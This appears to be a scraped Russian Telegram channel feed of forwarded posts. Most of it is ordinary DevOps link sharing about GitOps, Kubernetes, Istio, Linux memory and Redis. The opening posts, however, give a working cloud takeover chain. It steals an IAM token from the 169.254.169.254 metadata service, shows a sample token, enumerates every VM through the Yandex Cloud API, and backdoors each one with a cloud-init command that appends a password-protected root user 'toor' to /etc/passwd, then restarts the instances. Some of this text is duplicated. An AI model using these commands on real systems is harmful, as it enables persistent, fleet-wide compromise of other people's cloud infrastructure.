Forwarded from Кавычка (Bo0oM)
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
То скорее всего это шанс на победу. А ручка
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}
То скорее всего это шанс на победу. А ручка
curl http://169.254.169.254/latest/user-data
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
yandex.cloud
Документация Yandex Cloud | Обзор платформы | Сопоставление с Amazon Web Services
Amazon Web Services Yandex Cloud. Amazon Athena. Yandex Query. Amazon API Gateway. Yandex API Gateway. Amazon CloudWatch. Yandex Monitoring. Amazon CloudFront.
Forwarded from Кавычка (Bo0oM)
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
Получаем идентификатор инстанса:
Забираем информацию о текущем инстансе, нас интересует folderId:
С помощью folderId получаем список всех виртуальных машин в облаке:
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
Пушим изменения:
И делаем рестарт:
Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"
Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id
Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"
С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\
nПушим изменения:
POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded
{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}
И делаем рестарт:
POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded
{"instanceId":"{instanceId}"}
Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
Forwarded from Записки админа
🛠 A Hello World GitOps Example Walkthrough - пример организации GitOps подхода. Пошагово, со схемой и примерами конфигов. Полезным, пожалуй, будет для тех, кто хочет GitOps попробовать, но в длинные мануалы пока что вчитываться не готов.
#gitops #напочитать
#gitops #напочитать
Forwarded from ITTales :(){ :|:& };:
www.linux.org.ru
Переехал на кучу утилит переписаных на Rust
Тег «угадай автора по заголовку». Q: Зачем? A: Ради эксперимента, повысится комфорт пользования терминалом или нет. Q: Причем тут Rust? A: Ни при чем, но из-за нативности и отсутствия GC на нем толпа людей побежала переписывать что ни попадя. С таким...
https://medium.com/google-cloud/understanding-kubernetes-networking-pods-7117dd28727
https://medium.com/@betz.mark/understanding-kubernetes-networking-services-f0cb48e4cc82
#k8s #kubernetes #networking
https://medium.com/@betz.mark/understanding-kubernetes-networking-services-f0cb48e4cc82
#k8s #kubernetes #networking
Medium
Understanding kubernetes networking: pods
This post is going to attempt to demystify the several layers of networking operating in a kubernetes cluster. Kubernetes is a powerful…
https://twitter.com/iximiuz/status/1546249143320035328?t=-5qF-rc2rf9lcrFzDjUp6Q&s=09
#twitter #k8s #kubernetes
#twitter #k8s #kubernetes
Twitter
Kubernetes Deployment Strategy visualized 🔽
Spent half of the weekend improving the object graph in my experimental Kubernetes UI. Now visualizations have much smoother transitions between states.
Check out how actually elaborate the behavior of the "RollingUpdate"…
Spent half of the weekend improving the object graph in my experimental Kubernetes UI. Now visualizations have much smoother transitions between states.
Check out how actually elaborate the behavior of the "RollingUpdate"…
Forwarded from Мониторим ИТ
Forwarded from k8s (in)security (Дмитрий Евдокимов)
Мощный лонгрид "User and workload identities in Kubernetes" посвящённый
В данной статье есть очень классный момент про работу
AuthN
(на самом деле это 4
статья из цикла). Помимо более-менее очевидных моментов что кочуют из статьи в статью про аутентификацию в Kubernetes
- типа: внутренние и внешние субъекты, различные стратегии аутентификации (static token
, bearer token
, X509 certificate
, OIDC
и т.д.), назначение и роль Service Accounts
и подобное.В данной статье есть очень классный момент про работу
Service Accounts
и Secret
до версии 1.24
и начиная с нее. Если вы об этом не знали, то тут появляется значительное отличие по работе. Если раньше при создании Service Accounts
для него Secret
с token
создавался автоматически, то теперь этого не происходит (но можно вернуть прежнее поведении через специальную annotations
- читайте в этой же статье). С версии 1.24
желаемый token
монтируется в Pod
автоматически как projected volume и имеет срок действия (чего не было раньше)!Thread by @javarevisited on Thread Reader App – Thread Reader App
https://threadreaderapp.com/thread/1555424300844208128.html
#systemdesign #twitter #thread
https://threadreaderapp.com/thread/1555424300844208128.html
#systemdesign #twitter #thread
Threadreaderapp
Thread by @javarevisited on Thread Reader App
@javarevisited: 6 System Design Interview Questions 1. Instagram Design - bit.ly/3BqamCL 2. YouTube Design - bit.ly/3bbNnAN 3. URL Shortner - bit.ly/3bbNpZr 4. WhatsApp - bit.ly/3SbA9Eu 5. Parking Lot - bit.ly/3SaTy...…
Forwarded from DevSecOps Talks
Istio Handbook
Всем привет!
Очень неплохой материал, посвященный Istio – статьей его язык не поворачивается назвать, т.к. материала очень много, но это и не полноценная книга.
В материале содержится информация о:
🍭 What Does Istio Do?
🍭 Introduction to Istio
🍭 Istio’s Architecture
🍭 How to Use Istio in Practice
🍭 How to Run the Services on the Mesh
🍭 Ingress Gateway – How to Admit Traffic into the Mesh
🍭 Observability
🍭 Traffic Management – Canary Deployments
🍭 Istio Security
Много схем, примеров, кусков кода и пояснений по каждому из вышерассмотренных блоков. Самое то для ознакомления с технологией и до вдумчивого чтения официальной документации.
Всем привет!
Очень неплохой материал, посвященный Istio – статьей его язык не поворачивается назвать, т.к. материала очень много, но это и не полноценная книга.
В материале содержится информация о:
🍭 What Does Istio Do?
🍭 Introduction to Istio
🍭 Istio’s Architecture
🍭 How to Use Istio in Practice
🍭 How to Run the Services on the Mesh
🍭 Ingress Gateway – How to Admit Traffic into the Mesh
🍭 Observability
🍭 Traffic Management – Canary Deployments
🍭 Istio Security
Много схем, примеров, кусков кода и пояснений по каждому из вышерассмотренных блоков. Самое то для ознакомления с технологией и до вдумчивого чтения официальной документации.
freeCodeCamp.org
Learn Istio – How to Manage, Monitor, and Secure Microservices
By Rinor Maloku Three years ago, I wrote an article titled "Back to Microservices with Istio" for Google Cloud Community. I published it there to reach people interested in the latest technologies built on top of Kubernetes. At that point, Istio was...
Forwarded from /usr/bin
Memory Management in Linux
Управление памятью в Linux состоит из двух основных компонентов:
а). Первый касается совместного использования и освобождения блоков физической памяти, групп страниц и небольших блоков памяти.
б). Второй обрабатывает виртуальную память, отображаемую в памяти в адресное пространство активных процессов.
Читать дальше.
Управление памятью в Linux состоит из двух основных компонентов:
а). Первый касается совместного использования и освобождения блоков физической памяти, групп страниц и небольших блоков памяти.
б). Второй обрабатывает виртуальную память, отображаемую в памяти в адресное пространство активных процессов.
Читать дальше.
Forwarded from DevBrain
Как работает Redis? Узнать можно тут: https://bit.ly/3pIbA5b
architecturenotes.co
Redis Explained
A deep technical dive into all things Redis. Covering various Redis topologies, data persistence and process forking.